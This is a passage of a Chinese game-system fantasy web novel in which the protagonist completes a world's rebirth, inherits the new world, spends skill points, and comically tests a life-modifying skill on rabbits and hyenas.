此刻，通道的这一头，正有无数死魂流转公司的职业死神们拿着各自的职业平板，一边在上头指指戳戳，一边大声联系着身处不同位置的同伴： “怎么会缺一个灵魂？” “到底哪里出了问题？” “谁在找谁在找？” “是不是在二重天的废墟里啊？” “这么大海捞针不行的啊，快想想到底哪里漏了……” 颜辞云好奇凑近这团混乱，定睛一看，发现在这群职业死神们之所以焦虑，是因为世界重启的进度条卡在了99.99%上。 而在这一项目下的详细注释，则显示重启前的所有准备其实都已就绪，因为全世界所有的炁和99.99%的灵魂都已经投入了通道里。 ——是的，世界之所以不能重启，是因为还有最后一个灵魂，没有投入通道。 在九重大天地和亿万万人里找最后一个未收割灵魂？ 这简直是折磨人！ 颜辞云看着这个面板，也是陷入沉思： 她刚刚投入的“小凤凰”的灵魂，原来还不是最后一个吗？ 那最后一个在哪儿？ 难道是收割人们收割灵魂的过程中被漏掉了？ 可不应该啊，职业死神们都有死亡亲和，这份亲和力赋予了职业死神们不放过任何死亡和死魂的嗅觉，不可能漏掉某个魂灵忘记收割。 除非那个死魂被人收割走后，忘在某个密闭的、隐秘的、不被外人探知的……空间……里？？ 颜辞云的思维突然卡壳了。 这一刻，她想到了某件事。 比如说她被这方世界误认为死魂收割人时，正在做的某件事—— 收割真正的岳灵倩的灵魂！ 岳灵倩的灵魂，是颜辞云在这个世界收集到的第一个灵魂，也是颜辞云被误认为死魂收割人的开端。 而那时候，第一次做这件事、还不了解死神外套性能的颜辞云，把岳灵倩的灵魂放在了哪儿？ ——她的系统物品栏里。 颜辞云想着想着，汗流浃背了。 原来害群的马竟是她自己！ 颜辞云不敢耽搁，连忙从物品栏里拿出真正的岳灵倩的灵魂，投入通道。 至此，随着岳灵倩这个最不引人注目，却又不可或缺的渺小灵魂的投入，世界终于开始重启。 外聘的职业死神们虽然不明白怎么突然进度条满了，但反正工作顺利完成了，于是也终于松了口气，发出了开心的欢呼。 在这样的欢呼中，天上的九颗太阳被瞬间撕裂。 大地龟裂，露出好似能直达地核的骇然深渊， 黑色如同山峦起伏的巨大树根，在地底抽搐，最后的最后—— 轰隆！ 如同幻听的绝响中，那颗撑起天地的巨大树干倒下了。 随后，一颗浑然滚圆、无暇无裂的碧色树种，晃晃悠悠地浮出，飘到颜辞云的面前。 这一刻，熟悉的系统音再次出现： 【叮！任务[界外死神（实习生）]已完成，技能点奖励结算中】 【叮！任务[见证毁灭]可接受（倒计时：59′59″）。这个世界已走到毁灭边缘，残留的创世神意识则希望你留下来，见证这个世界的毁灭，并重新种下世界之种。本任务奖励将由创世神意识发放。】 这时，一旁的卡多斯走过来，兴致勃勃地看着颜辞云手里的碧色树种，问道：“岳灵倩小姐，这颗世界之种你是准备现在种下、种在这里，还是准备换颗星球种下？” 颜辞云心中咯噔一下，突然明白了为什么任务[见证毁灭]，不是必须完成，而是“可接受”的了。 因为这颗不可思议的、难以复刻的世界之种，竟然是可以被她带走的！ 第69章 结算 检测到拥有管理权限的…… 于是，此刻，一个从未在颜辞云的计划列表中出现过、甚至想都没想过的选项出现在她的面前： 把这颗世界之种带走，私自截留！ 或者是将它留作日后制造【航海套件】的材料，又或者是将这颗种子带回属于颜辞云的世界后种下，给她再增添一个如扶桑木那样、不，是比扶桑木更强大的外挂！ 而且，更妙的是，不会有任何人发现她的这场截留与私心。 因为无论是此方世界的创世神意识残片，还是死魂流转公司，都没人知晓她的真正身份，甚至不知道她的真正姓名。 也就是说，只要她打发走死魂流转公司的职业死神们，再离开这方世界，来一场人间蒸发，就能成功将这颗世界之种昧下。 既不会有人发现她做过什么，更不会有人找到她的头上。 ——这是一场利益极高、风险极小、不会留下任何后遗症的掠夺。 但，还是那一句话。 如果不能拯救他人的话，至少不要加害他人。 在颜辞云模糊的记忆里，她记得有这样的一句话，那就是“损一毫利天下，不与也；悉天下奉一身，不取也。人人不损一毫，人人不利天下，天下治矣”*。 这句话的大致意思可解释为：该是自己的利益，一分也不可让；不该是自己的东西，哪怕是天下也不该取。如果每个人都能守住自己应有的东西，不必为了旁人“损己”、“牺牲”和“奉献”，那么天下就太平了。 虽然颜辞云明白，这样的想法过于理想主义，而且每个人对于“该取”和“奉献”的定义也各不相同，想要以此就“天下大治”是不可能的。 但至少，颜辞云可以用它约束己身——不必施恩于任何人，也无需亏欠于任何人。 全生避害，为我贵己。 无拘无束，逍遥自在。 “就在这儿种下吧。” 纷乱的思绪瞬间即逝，颜辞云回过神，捧着手中沉甸甸的种子，说道：“在哪里结束的，就在哪里重新开始吧。” 她拉开任务面板，接受了[见证毁灭]这个任务。 之后，她缓步来到世界树枯败的根系处，没有在意身后逐渐靠拢、亦步亦趋的职业死神们投来的好奇目光，只凝神看着扭曲的地表。 说实话，如果不是颜辞云亲眼看到这颗世界树是如何被撕裂、摧毁、倾倒的话，她或许根本就不会知道这其实是世界树的根系，而只以为是什么扭曲绵延的山峦。 ——是不是这世界的大部分“山峦”，都是这样出现的？ 脑中漂浮着漫无边际的念头，颜辞云挖开朽烂得与泥土没有两样的“山峦”，将手中的世界之种种了下去，盖上土，拍拍。 “这样就好了吗？”萧千雪好奇发问。 萧千雪和卡多斯是仅有的两个会主动与颜辞云搭话的职业死神。 其它的异界“同事”们不知道为何，明明看起来对颜辞云好奇得不得了，可只要一与颜辞云对视，就会立即转开头，装作自己不存在。 一副非常内向社恐的样子。 颜辞云也就体贴地不去打扰他们了。 颜辞云回答道：“我也不太清楚。”所以准备再看看。 萧千雪提出建议：“是不是要浇点水、施点肥什么的？” 颜辞云想了想，决定采纳。 她也懒得跑远、去荒芜的大地上寻找硕果仅存的净水和肥料，直接从自己的物品栏里拿出【装满炁的木桶】，推倒。 干净的水汩汩涌出，浸润了干裂的土地。 接下来，颜辞云又从自己的种植区里兑换出了1单位炁的【万能肥料】，撒下。 原本如泥沙一样疏松的土质缓缓变化，似乎开始焕发生机。 颜辞云和萧千雪脑袋凑在一块，盯着土地过了好一会儿。 没有动静。 萧千雪奇怪：“怎么会什么反应都没有？是不是还缺了点什么？” “不知道。”颜辞云诚实回答，“你们职业死神也不知道吗？” “的确不知道。”卡多斯蹲在种子的另一边，跟萧千雪和颜辞云的脑袋围成了三个角，同样很诚实地回答，“虽然我们接到过很多与世界毁灭相关的外包任务，但‘重生’这样的事，我们还是第一次见。” 或许很多智慧生命觉得毁灭的力量很帅、很强大、很不可思议。 但在职业死神们眼里，这样如发狂野兽一般只懂得倾泻力量、暴力摧毁的东西，实在是司空见惯，没什么大不了的。 反而是“创造”与“苏生”——这样的力量实在是太稀奇了！ 数遍三千世界，也不见得能找到几位，并且那几位也神隐已久，如今是否存在还两说。 而至于亲眼见证一颗毁灭的世界之种的重生？ 天呐，谁会有这种经验啊？！ 他们真有这经验早就成创世神了好吧！ 卡多斯倾情提供建议：“是不是还要输入‘苏生’的力量？” 颜辞云自动翻译：是不是还要输入木属性的力量催长？ 她想了想，决定采纳。 “或许是的。”颜辞云说，“你们后退一点。” 两位职业死神从善如流，往后退了一些，而其他看热闹的职业死神们则退得更远了，聚在远处探头探脑，像是一群围观的小鼹鼠，让颜辞云心中反射性地生出了一份属于打劫者的慈爱来。 “再远一点。”颜辞云回想着自己曾经去火山底部种下扶桑木最后却被疯长的扶桑木挤得逃命的经历，中肯道，“接下来的动静可能会有点大。” 一边催促着职业死神们的远离，颜辞云一边自己也站起了身，给自己预留了一条可迅速撤退的道路。 在确定一切准备就绪后，颜辞云屈指一弹，一团充满了生机的绿莹莹的光团，便晃悠悠地飞了出去，乳燕投林一般地投入地下的世界之种。 一秒，两秒，三秒。 毫无动静。 就在职业死神们以为这次的催长依然失败、想要重新围上来细瞧时，颜辞云跑得头也不回。 “跑！” “什么……” 萧千雪和卡多斯瞬间反应过来：“就是快跑的意思——跑啊！” 职业死神们一哄而散。 而下一秒，枯败如死的大地便震颤起来，好似地底有什么东西在飞速坍塌又飞速重建！ 在这样不安的震动中，原本掩埋树种的薄土被震开了，露出了晦涩世界里唯一的一抹绿。 并且这一抹绿，正以所有人肉眼可见的速度抽芽、生根——茁壮成长！ 这是多么不可思议的一幕啊！ 当世界树突破第一个百米时，颜辞云和所有的职业死神们都看到，旧世界的泥沙俱下。 这个原本死去的、正在分崩离析的旧世界，被疯涨的树根牢牢扎根捆缚，既避免了彻底消亡的悲剧，却也无法反抗地成为了新世界生长的地基。 当世界树突破第二个百米时，颜辞云看到旧世界的“山峦”倾倒。 那由旧的世界树树根化作的高山，被新世界树彻底取代，而旧山上所有被上个文明遗弃的腐败尸骸，则被倾覆的山峦卷入地底，成为新生命成长的肥料。 接着是第三个一百米，第四个一百米……直到突破第一个一千米，这颗巨大的“小树苗”终于停下了生长。 随后，第一缕炁从这颗新生的“小树苗”上飘荡了出来。 它如同春风，如同细雨，还如同一个不可思议的预兆，在这个世界转了一圈，轻声呼唤着所有沉睡中的生命：那些草籽，那些花种，以及普通视线中无法被捕捉的微生物们。 于是，当它重回世界树时，万事万物都回应了它的呼唤。 世界复苏。 而随着漫山遍野的绿草和鲜花的绽放，颜辞云看到一团极轻极淡的光团不知道从何处冒了出来，晃悠悠飘来，落在她的掌中。 【任务[见证毁灭]已完成，奖励已由创世神意识发放。】 颜辞云目光落在掌中的光团。 【创世神的感激：这是来自异世界的创世神的感激，也是祂最后的神力碎片。祂将祂的孩子和祂的一切遗产都交给了你，而你又会将这样的一切带向何方呢？】 颜辞云愕然，眨了眨眼，还没反应过来，下一秒，那光团就没入她的手掌，消失不见。 就、就不见……了？ 颜辞云正正反反地查看自己的手掌，并没有看到什么别的痕迹，也没有什么别的感觉。 所以那个“孩子”和“遗产”到底是什么？ 不知道，想不通。 甚至颜辞云还在所有的职业死神们离开后，又在这个世界停留了好一会儿，想着会不会有什么“孩子”找上门来。 但没有。 什么都没有。 于是颜辞云便干脆地放下了这件事，重新切回本体视角。 此刻，世界之外的迷雾中，化身巨龙的颜辞云依然保持着之前捧着小猫咪的姿势，而小白也依然保持着它无辜舔爪爪的动作。 ——世界的暂停果然是相对的，她的意识停留在哪边，哪边的时间才会流动。 正这样想着，下一秒，数条系统提示音竟接连弹出！ 【任务[界外死神（实习生）]技能点奖励结算完成，技能点+4】 【人物卡[岳灵倩]已更新，请查看并确定新的人物状态】 【检测到拥有管理权限的新世界。请选择：】 【A、分开管理；B、与现有世界合并；C、制成航海套件】 颜辞云看着这些系统提示消息，心情由惊喜到疑问到茫然。 惊喜：技能点加4！好耶！ 疑问：怎么[岳灵倩]这个人物卡依然存在，甚至还被更新了？这能怎么更新？这能更新什么？ 茫然：什么叫做“检测到拥有管理权限的新世界”？还给出ABC的选项，甚至C选项还是“制成航海套件”这么无厘头的……不对！ 颜辞云蓦地反应过来，想到了所谓的【创世神的感激】，惊得目瞪口呆。 ——不是吧？？？ 第70章 加点 简直就是倒反天罡！ 颜辞云恍恍惚惚。 甚至于头晕目眩！ 她万万没有想到，所谓的【创世神的感激】，和所谓的“孩子”与“遗产”，竟然是……这个世界？ 那位异世界的创世神，将祂的世界……交给了她？？ 怎么会……这也太突然了吧！ 迷糊了一会儿，颜辞云突然像是想到了什么，回过神来，点开自己的人物面板。 果然，就如同颜辞云想的那样，原本显示为[岳灵倩]的人物卡消失了，或者说“被更新了”，取而代之的，是一张崭新的、颜辞云从未见过的人物卡—— 【人物：神力碎片/未命名】 【体质：？？】 【灵敏：？？】 【根骨：？？】 【悟性：？？】 【福缘：？？】 一切属性竟然全都显示问号，这说明这个人物卡的属性要么低得探查不了，要么高得探查不到。 而鉴于这个人物卡具备极端惊人的【神力碎片】的身份，所以颜辞云合理怀疑是后者。 于是颜辞云迅速把属性栏切换成了五维图。 ——好家伙！ 竟然全都是A！ 要知道，颜辞云如今的属性也就只有攻击和速度达到了B，其它属性都是D，临阵突破更是只有E。 而这个“更新”后的人物卡，竟然五个属性都是A？ 分身卡属性竟然比主卡的属性还高？简直倒反天罡！ 颜辞云接着又看向技能栏。 在作为[岳灵倩]时，这张人物卡有三个技能，即[勇壮]、[敏思]和[凡胎]，是非常普通的凡人的能力。 可如今，这张人物卡的自带技能却看得颜辞云头皮发麻—— 【天元一气：你体内炁脉浑圆无缺，如大江奔流，生生不息。】 【天人合一：你与天同运，与地同寿。天不崩则运不止，地不倾则寿不尽。】 【身披华光：你超凡脱俗，绝非凡人，如同身披华光。凡有人与你相交，无不被你的魅力所折服。】 短短的三个技能，短短的三行字，看得颜辞云头晕目眩。 神力碎片，神力碎片…… 天元一气，天人合一，身披华光——这样的能力，竟然仅仅只是“神力碎片”？？ 那真正的“神”又是什么样子？！ 想不出来。 颜辞云完全想不出来！ 她木然关掉这张倒反天罡的离谱人物卡，目光看向系统提出的ABC三个选项。 所谓的“拥有管理权的新世界”，在看到那张离谱的人物卡后，颜辞云也明白了，这必然指的是那个刚刚经历过毁灭和重建的异世界。 而系统给她提出的三个选择，其实也很简单。 其中的A选项“分开管理”，指的应该就是让异世界保持现在的独立状态，颜辞云什么时候上线作为神力碎片的分身卡，就让异世界什么时候运行，这样即不会耽误颜辞云的事，也不会耽误异世界的管理。 但这样一来颜辞云可就太麻烦了，她完全不想在两个人物卡之间来回切换，就为了管理两个生态圈一样烂的世界。 说实话，如果说异世界的复苏和演化生命进度条，算是1%，那颜辞云所在的世界的演化进度条，也就10%左右。 大哥不笑二哥。 在这样的情况下，颜辞云是完全抽不出时间来管异世界的。 可要让颜辞云把这个世界直接放置，颜辞云也于心不忍，于是她直接跳过了选项C，选择了选项B。 合并！ 与其赶两只羊，不如把两只羊变成一只羊来赶！ 当然，会做出这样的选择的颜辞云，也是有小心思的，比如说……在选择世界合并后，那张神力碎片的分身卡，会不会也“合并”到本体上，让她也能抱着分身卡的大腿起飞一波？ 颜辞云也不贪心，不奢求自己的五维属性全部被拉拔到A级，而只要三个、不，两个属性能突破A，她就知足了！ 但当颜辞云从浓雾中飞出、回到属于自己的世界后，她才发现自己想多了。 ——她仅仅是多了一个属性全A的“可操控角色”而已。 “好嘛，直接让我双开了是吧……何必呢，给我开个挂又能怎么样？” 颜辞云回头看了一眼，发现自己身后的浓雾不知不觉退到了极远的地方，只能遥遥望见。 而原本那片被浓雾所笼罩的海域，则不知道什么时候被一片大陆所取代。 当颜辞云低头俯视时，她可以清楚看到那片大陆的正中心正伫立着一株郁郁葱葱的千米高的“小树苗”，而一个看不清面容、身穿死神外套的魂灵，此刻正坐在地上，斜身依偎着“小树苗”，静静沉睡。 天地似乎在这一刻变得更开阔……当然，也有可能是颜辞云的错觉。 颜辞云尝试了一下，发现她其实是可以同时操控本体和神力碎片这两具身体的，只不过这样操作十分费神，也没有必要。 于是颜辞云干脆地把“小号”丢在世界树下，自己则潇洒把小猫咪放在头上，尾巴一摆，掉头回去琢磨自己的新技能加点去了。 头顶上，小白奇怪地喵喵起来，似乎想不明白前一秒还准备去旅行的家长怎么这会儿就回家了。 但颜辞云也不解释，只瞥了新的系统提示一眼。 【请为新大陆命名：随机/自定义】 颜辞云是个取名废。 这一点在“小白”这个名字上得到了充分体现。 因此，颜辞云想也不想，直接选择了“随机”，放过自己，也放过新大陆——反正如果名字不好听那就绝对是系统的锅。 而很快的，新名字出现了。 “弇州？” 随着这个新名字的确定，在颜辞云本就广阔的地图上，一个名为“弇州”的大陆出现在了颜辞云所在树屋的正东方，与颜辞云的树屋隔着大海，遥遥相望。 当然，这对普通人来说是大海，对颜辞云来说就是毛毛雨，所以在回程路上，颜辞云干脆给这片海域也取了个名字，叫泉泽。 而至于颜辞云她自己所在的这片大陆？ 金丘怎么样？ 寄托了她想要天上下金子的美好愿景。 当然，既然都取名了，自家所在的地方也取一个的好。 那片郁郁葱葱的小山丘，就叫青丘，而那颗被颜辞云寄予了厚望的树，就叫建木。 而至于北边的那些湖，南边的那些花和山脉……哎呀，以后再说吧！ 取名废的灵感已经用光啦！ 颜辞云开开心心地回到树屋，不，是回到自己的青丘，化为蛇身，登上高高的建木，坐进树屋的活动室里，顺手把小猫咪放下让它自己玩去。 接着，颜辞云便开始琢磨起了自己的加点。 该说不说，这一次颜辞云的冒险，可谓是收获满满，光是珍贵的技能点就一下子加了4！ 4个技能点啊！ 这可是4个技能点，足以让颜辞云把【吞噬】技能点满的同时，再点出一个甚至两个新能力来！ 当然，颜辞云倒不至于真的这样浪费，把所有的技能点一口气全花出去。 毕竟可以想见的是，像这种大丰收的任务是难以被复刻的，因为一般来说不可能有一整个世界的灵魂等待她去收割、去完成KPI。 所以这四个技能点中，一定要留一个下来，以备不时之需。 而剩下的三个技能点里，颜辞云首先分了一个技能点给【吞噬】，把它点到2级。 【吞噬（2/3）：你有一个不可思议的嘴巴，只要能吞进你嘴里的东西，你都能将它榨出血肉、榨干神魂。】 和1级的吞噬比起来，2级吞噬的描述可怕了许多。 但这样的描述，说白了也就是对【摄形】和【摄魂】这两个衍生技能的更准确描述而已。 因此颜辞云非常淡定地略过这行字，继续往下看。 当看到【火·毕方】、【木·龙魄】和【龙形】这三个技能后的【已达上限】全都消失不见时，颜辞云心中一喜，总算是松了口气。 果然，就像她想的一样，真的是【吞噬】技能的等级限制了这几个技能的上限。 既然如此，还有什么可犹豫的？ 这么好用的技能，当然是一口气加满！ 【吞噬（3/3）：你可吞天食地。】 俗话说，字越少事越大。 这短短的六个字，竟硬生生叫颜辞云看出了几分寒毛耸立的感觉。 只不过，颜辞云暂时没想过开启吞天食地这个业务，毕竟对颜辞云来说，升级【吞噬】技能，也仅仅是为了让她更好地升级而已。 至此，两个技能点被颜辞云迅速花了出去。 此刻，颜辞云手上还捏着最后一个准备使用的技能点……可是，这个技能点到底要花在哪里才最有价值呢？ 在颜辞云的战斗技能树里，其实一共只有四个技能，位居技能树的最下方。 颜辞云最开始还以为，这个技能就跟页游里的技能树一样，是要一个个点亮的，也就是要先用技能点点亮前置技能，再用技能点点亮进阶技能，总之就是技能点消耗大户。 可后来颜辞云才发现，在这个页面，她只需要点亮最下方的四个能力就好，至于其它的进阶技能，全都是靠她自己探索的。 比如说【吞噬】技能可衍生出【摄形】、【摄魂】这两个能力，而【摄形】与【摄魂】，又能演化出【火·毕方】、【龙形】等进阶技能。 换而言之，颜辞云只需要投入12个技能点，就能将战斗面板的技能树全部点亮！ 这对于技能点获取手段有限的颜辞云来说，无疑是个天大的好消息。 可是，12个技能点就能填满的战斗模块，也暗示着生活模块绝不简单，暗示着在生活模块里的【承天布宣】这个分支，一定会消耗极多的技能点。 否则颜辞云的第三个技能模块也不会显示“需玩家在生活模块与战斗模块共投入40技能点后方可解锁”…… 颜辞云真是越想越觉得离了大谱：战斗模块12点技能点就能全部点满，反倒是生活模块竟能花掉28个技能点及以上？ 简直就是倒反天罡！ 小声抱怨了两句后，颜辞云很快收拢心神，定睛注视战斗模块里剩下的三个技能： 支配、亲和、改造。 “选哪一个呢……” 70-80 第71章 改造 她擦了把汗，有点汗流…… 颜辞云第一个排除的技能，是【亲和】。 【亲和（0/3）：你有着无与伦比的亲和力，无论是动物还是植物，甚至是一些并不具备智慧的东西，都很乐意亲近你，并听从你一些无伤大雅的小指令。】 这个能力从描述上来看，似乎并没有什么太大用处。 当然，颜辞云其实是相信自己的金手指系统绝不会把一些没用的技能塞进她的能力列表的，可关键是…… 它到底可以在什么地方派上用场？ 想不通。 那就先把这技能放着。 等日后点满了其它技能后，她或许会再回头来试试这个。 这样想着，颜辞云将目光投向了剩下的两个技能：支配，改造。 【支配（0/3）：不属于“我”的，即为“他者”，但对你来说，“我”与“他”的界限似乎非常模糊。你支配“他”就如同支配“我”一样。但，要小心“他”的反噬！因为你无法永远支配“他”……至少现在不行。】 这个能力与亲和看起来是有一定相似性的。 区别在于【亲和】是靠魅力折服他人，让他人心甘情愿为自己效力，而【支配】则是统御他人，将他人的主体性夺取到自己手里。 真善美更倾向【亲和】，控制狂更倾向【支配】。 可惜颜辞云二者都不是，于是她思考了一会儿，选择点亮【改造】。 是的，就是这样简单粗暴。 【改造（1/3）：在改造生命这件事上，你有着极出众的天赋。在你的影响下，那些具备生命的事物总是极端活跃，无论你想要用手把它们捏成什么模样，都具备一定的可行性。】 改造生命。 这个技能看起来神奇极了，非常有疯狂科学家的派头。 但颜辞云却忍不住琢磨起了一件事：什么叫生命？什么又算是改造？ 是具备智慧和文明的才算生命吗？还是所有具备生长繁衍的算是生命？ 如果按照“智慧”和“文明”定义生命，那像卡多斯萧千雪所在的死魂流转公司里的职业死神们，他们自然是有智慧和文明的，他们算生命吗？还有影视作品中常出现的人工智能和合成人类，他们又算生命吗？ 而如果按照“生长”“繁衍”的特性定义生命，那真菌细菌算不算生命？病毒癌细胞算不算生命？ 这实在是一个常人难以辨明的范围。 再加上“改造”一词后，它就越发令人糊涂了。 比如说，什么才算是“改造”了“生命”？ 如果说给鱼插上翅膀，给鸟儿长出鱼尾，算是“改造”了“生命”，那给草木添加行走的双腿，给死魂增添一套外骨骼系统，将活人的大脑与人工智能相连，将合成人类的意识转移进野兽的身体里……这是否又算是“改造”“生命”？ 颜辞云越是思考，思维越是滑坡，逐渐向危险和猎奇的方向飘去。 但还好，她很快惊醒，拍了拍脑袋，收敛心神，决定日后少思考，多实践。 只工作，不玩耍，聪明孩子也变傻。 只思考，不行动，天才宝宝也要疯。 颜辞云在活动室里走了两步，先是从奇特的木墩上采下一朵红蘑菇，想要试着能否通过【改造】这个能力，将红蘑菇变成其他颜色的蘑菇，甚至于直接将红蘑菇里的毒性抽出，令它变成没有毒性没有后遗症的美味蘑菇。 可让颜辞云呆滞的是，当她发动能力后，她瞬间切换到了一个极奇妙的视野。 第一次眨眼后，她看到了—— 如雨一样轻轻飘散的孢子，攀延伸长的菌丝，遮天蔽日的菌盖，以及如山峦一样绵延起伏的菌褶。 这是属于微观的世界，是人类肉眼视角放大无数倍后看到的显微镜里的世界。 第二次眨眼后，她看到了—— 如同火焰一样的红色在蘑菇的菌盖处徘徊，构成了红蘑菇鲜艳美丽的外表；而在蘑菇的核心位置，生机勃勃的绿色支撑着它的生长；当然，属于水的蓝色也是必不可少的，只不过它与菌盖处的红色并不相容，一个在菌盖上，一个在菌柄下，二者进水不犯河水。 这是属于炁的世界，是当炁演化出五行后，所给常人展现的世界。 颜辞云收回视线，眨了眨自己有些干涩的眼睛，心中苦恼。 投入一个技能点后，就给她配了两套新的“工作视野”——这件事固然值得高兴，可…… 到底要怎么改造啊？ 颇感棘手的颜辞云放下手中蘑菇，决定还是搞个大一点的、比较能禁得起折腾的东西做实验。 什么东西是能折腾的、折腾出事也不会心疼的呢？ 颜辞云瞬间想到了如今大地上数量最多的两种动物：长角的蓝毛兔子，和凶恶的紫毛鬣狗。 于是，颜辞云脑筋一转，便决定从这两种动物开刀。 兔兔虽然在草原里胡乱打洞、把草根咬得一塌糊涂的时候着实可恶，但却实在蠢得可爱。 多少带点颜狗属性的颜辞云便没想多折腾它们，决定做个最简单的“分角试验”——把那尖利的兔角从兔兔们脑袋上取下，就算完事。 此刻，世界刚进入冬季没几天，那因换季而飘落的雪花还未来得及在地面凝固成冰。 颜辞云离开树屋，来到草原，随手抓了一只兔子，捏在手上凝神打量。 不同于注视蘑菇时自带的显微镜视角和五行视角，当颜辞云凝神注视这兔子时，她发现自己眼里的兔子身上竟多出了一些奇怪线条。 这些线条横七竖八、纵横交错，有些只在兔子的皮毛上浅浅擦过，有些则深入兔子的体内、甚至贯穿了兔子的各个要害。 颜辞云实在想不出这些线条能代表什么，于是她先是伸出手，试着拉动一根线条。 无用。 这些线条虽然存在于颜辞云的视线里，但似乎并不存在于现实，所以无法被颜辞云用手指捕捉、拨动。 颜辞云转换思路，试着将指尖刺入兔子肩膀上擦过的一根线条，而后顺着那根线条轻轻一划。 下一秒，这只兔子的蓝色皮毛便被生生剥离，整个落在了颜辞云的手上。 当兔子的蓝色皮毛完整掉落，露出兔子皮下那清晰可见的肌理时，哪怕是颜辞云都被这一幕吓了一跳。 而更让颜辞云震惊的是，明明此刻的她已经将兔子一身的兔皮整张剥下了，可她手上的兔子却依然活蹦乱跳，不但没有表露出半点痛苦，甚至好似连半点寒冷都没有感到！ 只不过，当颜辞云试探着将兔子放下地后，它没蹦出两步，便立即倒下，全身抽搐出血，瞬间变得奄奄一息。 颜辞云眼疾手快，这兔子抓了回来，像穿衣服一样把手里的蓝色兔皮又给它套了回去，接着再次将它放下地。 只见，原本奄奄一息的兔子在胸膛起伏两下后，生命体征竟就这样以肉眼可见的速度平稳下来。它摇摇晃晃地站起，晃了晃它稀里糊涂的脑袋，似乎不明白自己怎么突然要死了又突然要活了。 但呆了两秒后，它决定先跑再说。 唰唰唰—— 这兔子溜得飞快，眨眼间就消失在雪地里。 颜辞云也不去追，毕竟她也不太好意思逮着一只兔子往死里薅。 她决定抓第二只兔子继续实验。 从刚刚的实验可以看出，在颜辞云的“改造”过程中，无论她做了什么，被改造的生命体都是不会有感受也不会当场暴毙的。 而唯有在颜辞云放开被改造生命体、或者说是“结束改造”后，被不合理改造留下的后遗症，才会正式找上对方，发生一系列的后续反应。 无痛改造，这就是【改造】技能的伴生特性吗？ 就像【吞噬】的伴生特性是铁胃一样？ 颜辞云思考着，心中颇为微妙，一时间摸不准自己的定位到底是疯狂科学家还是疯狂的屠夫。 但总之……嗯，总之，还是先继续做实验吧。 颜辞云抓了第二只兔子做实验。 搞明白了生物身上擦边的线条是用来剥皮的，这一次，颜辞云决定弄明白那些贯穿生物关节和要害的线条是什么用处。 她将手伸向兔子的下肢关节处，轻轻一捏。 噗通。 兔子的腿就像是乐高小人的假发一样，被她轻轻巧巧地拔了下来。 颜辞云：“……” 颜辞云试着把这条下肢插在兔子的头上。 噗通。 这条下肢便像是乐高小人的假发一样被安上了兔子的后脑勺。 于是，此时此刻，在颜辞云面前的，赫然是脑袋上顶着一条后肢迎风飘荡身体却仅有三条腿的奇葩兔子。 颜辞云：“……” 救命，怎么会这么猎奇啊！ 感觉自己真的越来越像疯狂科学家和疯狂屠夫了！ 颜辞云连忙把这条后肢从兔子脑袋上取下，按回它原本应在的地方，接着又试着探索那些贯穿要害的线条，比如说兔子脖子上的线条。 噗通。 兔子的脑袋被拔下了。 兔头在颜辞云的左手上拼命眨眼，兔身在颜辞云的右手里死命蹬腿。 噗通。 兔子的脑袋又被安回去了。 啪嗒。 兔子的眼珠被取下了。 双眼空洞的兔头在颜辞云左手上左右顾盼，湿漉漉的眼珠在颜辞云的右手手掌上滴溜溜打转。 啪嗒。 兔子的眼珠又被安回去了。 唰唰唰—— 这是……哦，这是被颜辞云放下地的兔子扭头逃跑的声音。 做完第二场实验后，这兔子没什么事，颜辞云倒是受到了一些不可名状的理智攻击。 她擦了把汗，有点汗流浃背了。 “所以，无痛改造，将被改造生命的肢体随意拆卸拼接，以及被改造生命在改造过程中的绝不死亡……这应该就是【改造】这个技能最强大的伴生特性了。” 如果将这些技能特性用在杀敌上，也是非常有前途的。 比如说，当颜辞云再次面对年兽这种不可力敌、无法破防的敌人时，她完全可以不必像去年那样硬拼、放风筝、带去其它恶兽的领地诱导它们死斗，而完全可以进入改造状态，把年兽的四肢头颅全部拆掉后，结束改造，任由对方咽气。 这样一套组合拳下来，哪个敌人死不了？ “这个能力说是‘改造’，但果然还是更像屠夫必杀技吧……” 很快的，颜辞云又开始了自己的第三场实验。 她拔掉兔子脑袋上的长角，放下地。 对方没事兔一样地溜了。 可见角这个东西对它们并不是必须的。 只要颜辞云想，她可以把所有兔子的角都无痛拔掉，既收集了【兔角】这种材料，还不用多造杀孽。 不过颜辞云倒没有做这种无聊事，因为她其实也根本没有收集【兔角】这份材料的想法。 所以，颜辞云很快就做好了决定，要正式开启自己的改造生命活动—— 将两个不同的生物，进行拼接！ 然后，创造出一种崭新的、也更适合在这片土地上存活的生命！ 第72章 新物种 就说要用心练习手工…… 新的一场实验中，被颜辞云选中的实验素材，是紫毛鬣狗。 如果说折腾一群只知道逃跑的痴肥的蠢兔子，颜辞云的良心还有那么一点点痛，那么当折腾对象换做这群紫毛鬣狗后，颜辞云就半点也不感到愧疚了。 必须要强调的是，鬣狗是一群非常蛮狠凶恶的生物。 它们什么都敢吃，什么都要抢，欺软怕硬的同时还成群结队、四处游荡，实在是大地上的一大恶霸。 因此，不同于兔子的抓一只放一只，颜辞云起手就抓了十来只鬣狗，吐出蛛丝，把它们捆成一串，带回树屋，慢慢料理。 而颜辞云在它们身上做的第一个实验，就是改变它们的外观—— 从毛皮的颜色开始。 由于颜辞云此前从未有过“改造生命”的经验，再加上【改造】这个神奇技能也没有留下任何先例或说明书可供颜辞云参考，因此，当说到“改变毛皮颜色”这件事时，颜辞云脑袋第一个冒出来的，就是“洗到褪色”。 颜辞云：“……” 毛皮也是可以洗褪色的吗？ 要不……试试？ 颜辞云扒下一只紫毛鬣狗的皮后，一边维持着改造状态吊着紫毛鬣狗的命，一边来到厨房，打开物品栏里的【一大包杂物】。 值得一提的是，就如同颜辞云之前预想的一样，许多正常人类世界正常大小的物品，拿到颜辞云的世界后就变成了迷你小巧的过家家道具，就连那一堆在异世界堆得像小山一样的物资，在树屋打开也不过是占据了小小一个角落罢了。 而这也是颜辞云在购物时放弃了打包电器家具，只扫荡调味品的最大理由之一： 以她这样的小怪兽体型，她得买下什么样材质得家具和多么大的电器才禁得起她的消耗？还是老老实实折腾点好吃的吧！ 如今，因为想要给紫毛鬣狗的皮毛脱色，颜辞云脑袋里第一个冒出的点子，就是高度酒。 颜辞云依稀记得，高度酒中的酒精成分具有强烈的溶解性和挥发性，倒衣服上毁衣服，倒毛皮上毁毛皮。 如果她把手里的这张紫毛鬣狗皮放进高度酒精盆里洗洗搓搓，那么她是不是就能成功让毛皮褪色，得到一张新颜色的皮了？ 抱着这样的想法，颜辞云从一堆杂物里找出几瓶75度以上的杀人酒，倒在紫毛鬣狗的毛皮上，搓来搓去。 可最后，当她洗净毛皮上的酒精，抖开一看时，发现它竟然没有半点变化！ 